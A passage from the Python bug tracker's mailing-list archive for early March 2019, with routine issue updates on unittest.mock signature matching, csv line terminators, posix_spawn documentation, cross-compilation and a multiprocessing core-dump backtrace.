        return 1.0 - (fabs(Y.cdf(x1) - X.cdf(x1)) + fabs(Y.cdf(x2) - X.cdf(x2)))

---- Future ----

The concept of an overlap coefficient (OVL) is not specific to normal distributions, so it is possible to extend this idea to work with other distributions if needed.

----------
components: Library (Lib)
messages: 337020
nosy: davin, mark.dickinson, rhettinger, steven.daprano, tim.peters
priority: normal
severity: normal
status: open
title: Add overlap() method to statistics.NormalDist()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Sat Mar  2 18:11:34 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 02 Mar 2019 23:11:34 +0000
Subject: [issue36046] support dropping privileges when running subprocesses
In-Reply-To: <1550625858.55.0.53498127684.issue36046@roundup.psfhosted.org>
Message-ID: <1551568294.15.0.643698658945.issue36046@roundup.psfhosted.org>


Gregory P. Smith <greg at krypto.org> added the comment:

I like the separate parameters. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36046>
_______________________________________

From report at bugs.python.org  Sat Mar  2 19:43:50 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 03 Mar 2019 00:43:50 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1551573830.25.0.508574741064.issue23216@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
pull_requests: +12142
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar  2 19:52:10 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 03 Mar 2019 00:52:10 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1551574330.38.0.566554684791.issue23216@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I've created the first PR for docstrings on replace.  Saimadhav Heblikar had added some docstrings under issue 21676, so I expanded on what he did.  I referred to Al's diff, but didn't use it much since there were already some docstrings.

For readability, I also changed some boolean values from 0 to False and 1 to True.  I had to figure out what `ok` did, so that helped.

I also left a note in `show_hit` because it isn't working right.  The text gets colorized with the `sel` tag instead of the `hit` tag.  effbot says this about tag ordering:
>>> If you attach multiple tags to a range of text, style options from the most recently created tag override options from earlier tags. In the following example, the resulting text is blue on a yellow background.

>>>    text.tag_config("n", background="yellow", foreground="red")
>>>    text.tag_config("a", foreground="blue")
>>>    text.insert(contents, ("n", "a"))

>>> Note that it doesn?t matter in which order you attach tags to a range; it?s the tag creation order that counts.

The note seems to be the important part here as the definition for `sel` is done before `hit` in colorizer.

----------
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar  2 19:57:02 2019
From: report at bugs.python.org (Mario Corchero)
Date: Sun, 03 Mar 2019 00:57:02 +0000
Subject: [issue26752] Mock(2.0.0).assert_has_calls() raise AssertionError in
 two same calls
In-Reply-To: <1460619804.34.0.222553592589.issue26752@psf.upfronthosting.co.za>
Message-ID: <1551574622.76.0.242753139181.issue26752@roundup.psfhosted.org>


Mario Corchero <mariocj89 at gmail.com> added the comment:

Quite a tricky bug!

Indeed @xtreak the `_call_matcher` is using the `__init__` signature. I think this is a bug introduced in https://bugs.python.org/issue17015. There is a mix of the fact that spec in Mock also can accept classes (not instances) whilst spec requires the user to say whether what you are passing is a class or an instance. This gets messed up when validating the calls as at validation time it tries to match the signature as done in issue17015 (something that is useful for other cases as outlined in the issue).


You can see how this is clearly a bug with the following reproducer:

```
from unittest.mock import Mock, call
class X(object):
    def __init__(self):pass
    def foo(self, a):pass
x = Mock(spec=X)
x.foo(20)
x.assert_has_calls(x.mock_calls)
```


Using an instance (`X()`) of the class "hides" the issue, as the right signature is used for validation.


I am not sure if there is any easy fix here :/, but it is broken that the validation happens in different ways when a class is used in the spec (when calling it vs when validating it). Things "work" as if you use a spec of a class and then construct it, that passes fine as it does not get validated as attribute lookup and then there is no further validation.

Maybe something like this would work:

```
--- a/Lib/unittest/mock.py
+++ b/Lib/unittest/mock.py
@@ -384,8 +384,10 @@ class NonCallableMock(Base):
     def __init__(
             self, spec=None, wraps=None, name=None, spec_set=None,
             parent=None, _spec_state=None, _new_name='', _new_parent=None,
-            _spec_as_instance=False, _eat_self=None, unsafe=False, **kwargs
+            _spec_as_instance=None, _eat_self=None, unsafe=False, **kwargs
         ):
+        if _spec_as_instance is None:
+            _spec_as_instance = isinstance(spec, type) # We might need to play with eat_self as well here.
         if _new_parent is None:
             _new_parent = parent

@@ -2205,8 +2207,8 @@ def create_autospec(spec, spec_set=False, instance=False, _parent=None,
     elif spec is None:
         # None we mock with a normal mock without a spec
         _kwargs = {}
-    if _kwargs and instance:
-        _kwargs['_spec_as_instance'] = True
+    if _kwargs:
+        _kwargs['_spec_as_instance'] = instance
```

Basically, being explicit on auto_spec and inferring it on the creation of Mocks, but that might break some people who (probably badly) rely on the signature of the class.

This issue probably needs some further work.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26752>
_______________________________________

From report at bugs.python.org  Sat Mar  2 21:17:46 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 03 Mar 2019 02:17:46 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551579466.27.0.051822753938.issue36142@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

PEP 432 tweaked: https://github.com/python/peps/pull/904/files

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Sun Mar  3 00:52:48 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 03 Mar 2019 05:52:48 +0000
Subject: [issue26752] Mock(2.0.0).assert_has_calls() raise AssertionError in
 two same calls
In-Reply-To: <1460619804.34.0.222553592589.issue26752@psf.upfronthosting.co.za>
Message-ID: <1551592368.11.0.0569182468029.issue26752@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

eat_self is also a problem as mentioned and would help in solving issue27715 where self is not ignored. I tried a patch for issue27715 but that would require changing the output of some functions that take _eat_self as a parameter to return _eat_self since the functions themselves change the value. So some call sites need to be updated to receive actual value for _eat_self when the signature is created.

It's a hard issue and there are less tests in this area so it's even harder to figure out all the existing cases supported and if the solution is breaking existing code. Also the general repr during failure could be improved since it just says prints same call object for expected and actual with an assertion error making it more confusing (issue25312). 

I think there are currently 3-4 different variants of this issue in the tracker due to wrong signature that could be resolved if _call_matcher becomes more robust using correct signature.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26752>
_______________________________________

From report at bugs.python.org  Sun Mar  3 01:16:31 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 03 Mar 2019 06:16:31 +0000
Subject: [issue36169] Add overlap() method to statistics.NormalDist()
In-Reply-To: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>
Message-ID: <1551593791.65.0.799952359077.issue36169@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Another cross-check can be had with this nomogram: https://www.rasch.org/rmt/rmt101r.htm

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Sun Mar  3 02:55:40 2019
From: report at bugs.python.org (Mark Williams)
Date: Sun, 03 Mar 2019 07:55:40 +0000
Subject: [issue36170] posix_spawn doesn't exist in 3.7
Message-ID: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>


New submission from Mark Williams <mrw at enotuniq.org>:

The 3.8 docs claim that os.posix_spawn was introduced in 3.7, but it wasn't; it will be introduced in 3.8.

https://docs.python.org/3.8/library/os.html#os.posix_spawn

----------
assignee: docs at python
components: Documentation
messages: 337027
nosy: Mark.Williams, docs at python
priority: normal
severity: normal
status: open
title: posix_spawn doesn't exist in 3.7
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 02:57:40 2019
From: report at bugs.python.org (Mark Williams)
Date: Sun, 03 Mar 2019 07:57:40 +0000
Subject: [issue36170] posix_spawn doesn't exist in 3.7
In-Reply-To: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>
Message-ID: <1551599860.72.0.353132375102.issue36170@roundup.psfhosted.org>


Change by Mark Williams <mrw at enotuniq.org>:


----------
keywords: +patch
pull_requests: +12143
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 04:18:41 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 03 Mar 2019 09:18:41 +0000
Subject: [issue36170] posix_spawn doesn't exist in 3.7
In-Reply-To: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>
Message-ID: <1551604721.81.0.472590533489.issue36170@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This was merged into 3.7 and later reverted after 3.7 first beta as per https://bugs.python.org/issue20104#msg316588 . Adding Pablo for review.

----------
nosy: +pablogsal, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 06:16:59 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 03 Mar 2019 11:16:59 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551611819.9.0.334934336847.issue33329@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
pull_requests: +12144
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Sun Mar  3 06:20:46 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 03 Mar 2019 11:20:46 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551612046.89.0.256563091105.issue33329@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
pull_requests: +12145

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Sun Mar  3 07:29:06 2019
From: report at bugs.python.org (Ross Burton)
Date: Sun, 03 Mar 2019 12:29:06 +0000
Subject: [issue36125] Cannot cross-compile to more featureful but same tune
In-Reply-To: <1551196810.67.0.249603335877.issue36125@roundup.psfhosted.org>
Message-ID: <1551616146.73.0.171864888701.issue36125@roundup.psfhosted.org>


Ross Burton <ross.burton at intel.com> added the comment:

That's exactly the glitch.  I'm cross-compiling to a more powerful IA process from IA.  This *is* a cross-compilation but the triple is the same.  Assuming that you can rely on the loader to not open target binaries when they're on the path to load from is unwise.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36125>
_______________________________________

From report at bugs.python.org  Sun Mar  3 08:39:02 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 03 Mar 2019 13:39:02 +0000
Subject: [issue35889] sqlite3.Row doesn't have useful repr
In-Reply-To: <1549112536.04.0.744689521798.issue35889@roundup.psfhosted.org>
Message-ID: <1551620342.91.0.0735666598435.issue35889@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I have the same doubts as Berker. sqlite3.Row represents a data from a database. Databases are used in particularly for storing a large amount of data which can not be all loaded in RAM. Therefore sqlite3.Row can contain a data with a very long repr.

If you need to inspect the sqlite3.Row object, it is easy to convert it to a list. If you want to see keys together with values, it is not hard to make a list of key-value pairs or a dict: list(zip(row.keys(), row)) or dict(zip(row.keys(), row)).

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35889>
_______________________________________

From report at bugs.python.org  Sun Mar  3 09:33:28 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 03 Mar 2019 14:33:28 +0000
Subject: [issue21074] Too aggressive constant folding
In-Reply-To: <1395887196.57.0.903293210902.issue21074@psf.upfronthosting.co.za>
Message-ID: <1551623608.13.0.13380924868.issue21074@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Fixed in issue30416.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
superseder: Build-out an AST optimizer, moving some functionality out of the peephole optimizer -> constant folding opens compiler to quadratic time hashing

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21074>
_______________________________________

From report at bugs.python.org  Sun Mar  3 09:35:35 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 03 Mar 2019 14:35:35 +0000
Subject: [issue36091] clean up async generator from types module
In-Reply-To: <1550902037.39.0.489582604413.issue36091@roundup.psfhosted.org>
Message-ID: <1551623735.92.0.466206155507.issue36091@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 0a6a412fb27d6874a0db5cc82a97f54d7c5fd0f2 by Serhiy Storchaka (Henry Chen) in branch 'master':
bpo-36091: Remove reference to async generator in Lib/types.py. (GH-11996)
https://github.com/python/cpython/commit/0a6a412fb27d6874a0db5cc82a97f54d7c5fd0f2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36091>
_______________________________________

From report at bugs.python.org  Sun Mar  3 09:35:47 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 14:35:47 +0000
Subject: [issue36091] clean up async generator from types module
In-Reply-To: <1550902037.39.0.489582604413.issue36091@roundup.psfhosted.org>
Message-ID: <1551623747.19.0.312809763411.issue36091@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12146

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36091>
_______________________________________

From report at bugs.python.org  Sun Mar  3 09:54:43 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 14:54:43 +0000
Subject: [issue36091] clean up async generator from types module
In-Reply-To: <1550902037.39.0.489582604413.issue36091@roundup.psfhosted.org>
Message-ID: <1551624883.54.0.359321871567.issue36091@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset cd0416466f8a6d5333d6ea52f6907c39b8a6c3bc by Miss Islington (bot) in branch '3.7':
bpo-36091: Remove reference to async generator in Lib/types.py. (GH-11996)
https://github.com/python/cpython/commit/cd0416466f8a6d5333d6ea52f6907c39b8a6c3bc


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36091>
_______________________________________

From report at bugs.python.org  Sun Mar  3 11:16:15 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Sun, 03 Mar 2019 16:16:15 +0000
Subject: [issue36125] Cannot cross-compile to more featureful but same tune
In-Reply-To: <1551196810.67.0.249603335877.issue36125@roundup.psfhosted.org>
Message-ID: <1551629775.08.0.883168718182.issue36125@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

Re-opening and setting the stage as 'needs patch': at least the cross-compilation should fail with a clear message when the cross-built libraries names and those of the native interpreter have the same suffix.

> Assuming that you can rely on the loader to not open target binaries when they're on the path to load from is unwise.

Meanwhile a workaround may be to build the native interpreter with Py_DEBUG defined (using the --with-pydebug configure option) so that libraries names become different.

----------
components: +Cross-Build -Build
nosy: +Alex.Willmer
resolution: not a bug -> 
stage: resolved -> needs patch
status: closed -> open
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36125>
_______________________________________

From report at bugs.python.org  Sun Mar  3 11:29:02 2019
From: report at bugs.python.org (Henry Chen)
Date: Sun, 03 Mar 2019 16:29:02 +0000
Subject: [issue36114] test_multiprocessing_spawn changes the execution
 environment
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551630542.22.0.896929515531.issue36114@roundup.psfhosted.org>


Henry Chen <tahafut at gmail.com> added the comment:

Another example of this, same bot:

https://buildbot.python.org/all/#/builders/168/builds/669

----------
nosy: +scotchka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Sun Mar  3 11:39:21 2019
From: report at bugs.python.org (Henry Chen)
Date: Sun, 03 Mar 2019 16:39:21 +0000
Subject: [issue36091] clean up async generator from types module
In-Reply-To: <1550902037.39.0.489582604413.issue36091@roundup.psfhosted.org>
Message-ID: <1551631161.41.0.464213988773.issue36091@roundup.psfhosted.org>


Change by Henry Chen <tahafut at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36091>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:14:28 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 17:14:28 +0000
Subject: [issue21478] mock calls don't propagate to parent (autospec)
In-Reply-To: <1399899394.81.0.714942512868.issue21478@psf.upfronthosting.co.za>
Message-ID: <1551633268.84.0.386049666868.issue21478@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12147

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21478>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:31:37 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 03 Mar 2019 17:31:37 +0000
Subject: [issue21478] mock calls don't propagate to parent (autospec)
In-Reply-To: <1399899394.81.0.714942512868.issue21478@psf.upfronthosting.co.za>
Message-ID: <1551634297.37.0.985815917574.issue21478@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21478>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:42:28 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 03 Mar 2019 17:42:28 +0000
Subject: [issue36170] posix_spawn doesn't exist in 3.7
In-Reply-To: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>
Message-ID: <1551634948.14.0.330560716199.issue36170@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 8b50400fbe607ef558d6c0033efa697c99417507 by Ned Deily (Mark Williams) in branch 'master':
bpo-36170: posix_spawn doesn't exist on 3.7 (GH-12143)
https://github.com/python/cpython/commit/8b50400fbe607ef558d6c0033efa697c99417507


----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:43:19 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 03 Mar 2019 17:43:19 +0000
Subject: [issue36170] posix_spawn doesn't exist in 3.7
In-Reply-To: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>
Message-ID: <1551634999.29.0.641947105543.issue36170@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the report, Mark!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:54:12 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sun, 03 Mar 2019 17:54:12 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared custom
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551635652.63.0.390240025945.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

After some investigation, this turns out to be more complicated, as this 'python.core' turns to be a core dumped from some of the processes spawned by test_multiprocessing_spawn. So the real problem is that test_multiprocessing_spawn segfaults, as in https://bugs.python.org/issue36116. I think this may be the same underlying problem. I will change the title to reflect this.

----------
title: test_multiprocessing_spawn changes the execution environment -> test_multiprocessing_spawn dumps core in AMD64 FreeBSD CURRENT Shared custom

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Sun Mar  3 12:54:44 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sun, 03 Mar 2019 17:54:44 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551635684.75.0.787042503216.issue36116@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

See also https://bugs.python.org/issue36114

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Sun Mar  3 13:06:31 2019
From: report at bugs.python.org (sls)
Date: Sun, 03 Mar 2019 18:06:31 +0000
Subject: [issue29539] [smtplib] collect response data for all recipients
In-Reply-To: <1486946725.6.0.180199923995.issue29539@psf.upfronthosting.co.za>
Message-ID: <1551636391.18.0.0534497199969.issue29539@roundup.psfhosted.org>


Change by sls <sls at mailbox.org>:


----------
keywords: +patch
pull_requests: +12148
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29539>
_______________________________________

From report at bugs.python.org  Sun Mar  3 13:12:51 2019
From: report at bugs.python.org (sls)
Date: Sun, 03 Mar 2019 18:12:51 +0000
Subject: [issue29539] [smtplib] collect response data for all recipients
In-Reply-To: <1486946725.6.0.180199923995.issue29539@psf.upfronthosting.co.za>
Message-ID: <1551636771.12.0.524361383441.issue29539@roundup.psfhosted.org>


sls <sls at mailbox.org> added the comment:

I opened a new PR. 

I picked up some of FirefighterBlu3's suggestions and added some unittests and refactoring to assist. Hope this helps.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29539>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:00:40 2019
From: report at bugs.python.org (Anthony Zeeman)
Date: Sun, 03 Mar 2019 19:00:40 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
Message-ID: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>


New submission from Anthony Zeeman <ahzeeman at yahoo.ca>:

The scrollbars in both tkinter and Tkinter don't have the 'state' option and cannot be disabled.

----------
components: Tkinter
messages: 337041
nosy: azeeman
priority: normal
severity: normal
status: open
title: tkinter scrollbar missing 'state' option

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:11:10 2019
From: report at bugs.python.org (SilentGhost)
Date: Sun, 03 Mar 2019 19:11:10 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>
Message-ID: <1551640270.92.0.188283005488.issue36171@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +gpolo, serhiy.storchaka
type:  -> enhancement
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:37:05 2019
From: report at bugs.python.org (Shane)
Date: Sun, 03 Mar 2019 19:37:05 +0000
Subject: [issue36172] csv module internal consistency
Message-ID: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>


New submission from Shane <shanesmith4 at gmail.com>:

It occurred to me there is a slight mismatch in the behavioral consistency of the csv module (at least on Windows, Python 3.X).  Specifically, csv.writer() and csv.reader() treat the line terminator slightly differently.  To boil it down to a concise example:

#==================================================
import csv

data = [[1, 2, 3], [4, 5, 6]]

with open('test.csv', 'w') as fout:
    csv.writer(fout).writerows(data)

with open('test.csv', 'r') as fin:
    data2 = list(csv.reader(fin))
    
print(data, data2, sep='\n')

>>> 
[[1, 2, 3], [4, 5, 6]]
[['1', '2', '3'], [], ['4', '5', '6'], []]
#==================================================

So because csv.writer() uses lineterminator = '\r\n', data and data2 have a different structure (data2 has empty rows).  To me this seems undesirable, so I always go out of my way to use lineterminator = '\n'.  

#==================================================
import csv

data = [[1, 2, 3], [4, 5, 6]]

with open('test.csv', 'w') as fout:
    csv.writer(fout, lineterminator='\n').writerows(data)

with open('test.csv', 'r') as fin:
    data2 = list(csv.reader(fin))
    
print(data, data2, sep='\n')

>>>
[[1, 2, 3], [4, 5, 6]]
[['1', '2', '3'], ['4', '5', '6']]
#==================================================


Then the input and output have the same structure.  I assume there was a reason lineterminator = '\r\n' was chosen as default, but for me there is no benefit wrt csv files.  It seems like we would be better off with the more consistent, "reversible" behavior.

Alternatively, the default behavior of csv.reader() could be changed.  But in either case, I feel like their default behaviors should be in alignment.

Thoughts?  Thanks for reading.

----------
messages: 337042
nosy: Shane Smith
priority: normal
severity: normal
status: open
title: csv module internal consistency
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:37:22 2019
From: report at bugs.python.org (Dian saputra)
Date: Sun, 03 Mar 2019 19:37:22 +0000
Subject: [issue36173] BROTHER PRINTER CENTER
Message-ID: <1551641842.88.0.0954854920652.issue36173@roundup.psfhosted.org>


Change by Dian saputra <sdian52 at gmail.com>:


----------
components: Installation
nosy: Dianmatang
priority: normal
severity: normal
status: open
title: BROTHER PRINTER CENTER
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Sun Mar  3 15:46:19 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sun, 03 Mar 2019 20:46:19 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared custom
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551645979.7.0.70914203081.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

I managed to access the core file and this is the traceback:


Thread 3 (LWP 100629):
#0  0x00000008007d4828 in _accept4 () from /lib/libc.so.7
#1  0x0000000800672eda in ?? () from /lib/libthr.so.3
#2  0x00000008016f7b75 in ?? ()
#3  0x0000000800acca10 in ?? ()
#4  0x00007fffdfffcea0 in ?? ()
#5  0x00007fffdfffcea8 in ?? ()
#6  0x00007fffdfffce70 in ?? ()
#7  0x00007fffdfffce70 in ?? ()
#8  0x00000008025485a0 in ?? ()
#9  0x00007fffdfffcdf0 in ?? ()
#10 0x00000008016f820c in ?? ()
#11 0x00007fffdfffcdb0 in ?? ()
#12 0x0000000800384d02 in cfunction_call_varargs (func=0x8016ffb70, args=0x0, kwargs=<optimized out>) at Objects/call.c:770
#13 PyCFunction_Call (func=0x8016ffb70, args=0x0, kwargs=<optimized out>) at Objects/call.c:786
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

Thread 2 (LWP 101669):
#0  0x0000000801e0495d in CRYPTO_free () from /usr/local/lib/libcrypto.so.11
#1  0x0000000801de09bc in ?? () from /usr/local/lib/libcrypto.so.11
#2  0x0000000801e005b7 in OPENSSL_cleanup () from /usr/local/lib/libcrypto.so.11
#3  0x0000000800825ab1 in __cxa_finalize () from /lib/libc.so.7
#4  0x00000008007b2791 in exit () from /lib/libc.so.7
#5  0x00000008004ca84e in Py_Exit (sts=0) at Python/pylifecycle.c:2166
#6  0x00000008004d6ffb in handle_system_exit () at Python/pythonrun.c:641
#7  0x00000008004d6b07 in PyErr_PrintEx (set_sys_last_vars=1) at Python/pythonrun.c:651
#8  0x00000008004d698e in PyErr_Print () at Python/pythonrun.c:547
#9  PyRun_SimpleStringFlags (command=0x80150de38 "from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=4, pipe_handle=9)\n", flags=0x7fffffffe860) at Python/pythonrun.c:462
#10 0x00000008004f7a39 in pymain_run_command (command=<optimized out>, cf=0x0) at Modules/main.c:527
#11 pymain_run_python (interp=<optimized out>, exitcode=<optimized out>) at Modules/main.c:804
#12 pymain_main (args=<optimized out>) at Modules/main.c:896
#13 0x00000008004f84f7 in _Py_UnixMain (argc=<optimized out>, argv=0x801bdb848) at Modules/main.c:937
#14 0x0000000000201120 in _start (ap=<optimized out>, cleanup=<optimized out>) at /usr/src/lib/csu/amd64/crt1.c:76

Thread 1 (LWP 100922):
#0  0x000000080047ca84 in take_gil (tstate=0x80262ba10) at Python/ceval_gil.h:216
#1  0x000000080047d074 in PyEval_RestoreThread (tstate=0x80262ba10) at Python/ceval.c:281
#2  0x00000008004f3325 in _Py_write_impl (fd=5, buf=0x8025e3e00, count=29, gil_held=1) at Python/fileutils.c:1558
#3  0x00000008005051aa in os_write_impl (module=<optimized out>, fd=<optimized out>, data=<optimized out>) at ./Modules/posixmodule.c:8798
#4  os_write (module=<optimized out>, args=0x8015b3ba8, nargs=<optimized out>) at ./Modules/clinic/posixmodule.c.h:4182
